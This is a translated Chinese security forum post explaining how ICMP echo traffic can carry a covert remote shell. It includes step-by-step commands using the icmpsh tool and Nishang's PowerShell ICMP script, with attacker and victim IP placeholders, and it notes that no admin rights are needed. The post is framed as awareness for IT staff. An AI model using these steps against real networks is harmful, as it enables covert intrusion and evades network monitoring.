[翻译]ping 这个命令会有危害么?有么?
发表于:
2017-6-18 01:23
17848
长话短说:
你可以通过ICMP发起一个远程shell连接。ICMP也可以被用来做坏事。
很多客户都会问我这个问题“Ping is okay? Right?”,一般而言ICMP(ICMP远不仅仅是ping,但经常被简单的说成是ping)是一个很好的工具,用来测试网络是否有响应,来确认你的网络连接通不通。它也经常被用来测试连接是否可靠。我的观点是,从一个IT人员的角度来讲,我们可以用ICMP来做很多事情。我想让人知道的是,任何你允许从你网络出来的东西都可以被利用做坏事。在这篇文章,我将为你展示黑客们是如何用ICMP来获取数据以及如何仅仅利用ICMP就和网络内部的客户端进行通信的。
使用ICMP来做一些坏事的原理是很明了的,在1996年就已经写的很简单了。它出现在PHRACK杂志(回忆过去啊)http://phrack.org/issues/49/1.html ,被称作:Project Loki (Loki项目)。
使用ICMP来作为隐蔽通道的原理是:你有一个服务端和一个客户端,当它们通信时会用到 ICMP_ECHO 和 ICMP_ECHOREPLY的数据部分。这就意味着通过ICMP包的数据部分可以发送和接收数据。
我觉得这个很酷。有多少人会仔细分析ICMP流量呢?(这里只是假定)
ICMP仅仅是一种可能的隐蔽通道,如果黑客喜欢的话,他们也可以用DNS。其实已经有DNS隐蔽通道的项目了(自己谷歌去看看)。你的网络里每一个向外部互联网发送数据的通道,都很有可能被黑客用来作为隐蔽通道。这篇博客我只讨论ICMP。
下面是一个简单的demo,展示了这种方法具体是如何工作的,这里使用Bernardo Damele的 ICMPSH工具,这个工具最初是由Nico Leidecker开发的——http://www.leidecker.info/ 。
首先在攻击者机器上,关闭ICMP回复,避免发送其它数据干扰隐秘通道测试。
关闭命令:sysctl -w net.ipv4.icmp_echo_ignore_all=1
打开命令:sysctl -w net.ipv4.icmp_echo_ignore_all=0
现在我克隆一份 ICMPSH github项目到我的攻击者机器:
命令:git clone https://github.com/inquisb/icmpsh.git
使用ICMPSH项目里的python脚本启动服务端。使用这条命令:
Python icmpsh_m.py x.x.x.x y.y.y.y (注:x.x.x.x 是攻击者机器的公网ip,y.y.y.y是被黑机器的公网ip)
现在攻击者机器会监听等待。接下来我们去被黑服务器(客户端)。在ICMPSH git项目有一个可用在windows客户端的脚本。但是我更喜欢使用Powershell,所以在这里我将使用Nishang PowerShellICMP。代码可以在这里找到(感谢Nikhil Mittal 的杰出作品):https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1
把这些代码复制到windows客户端的 Powershell窗口。Powershell不需要提权,用户也不必是本地管理员。
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)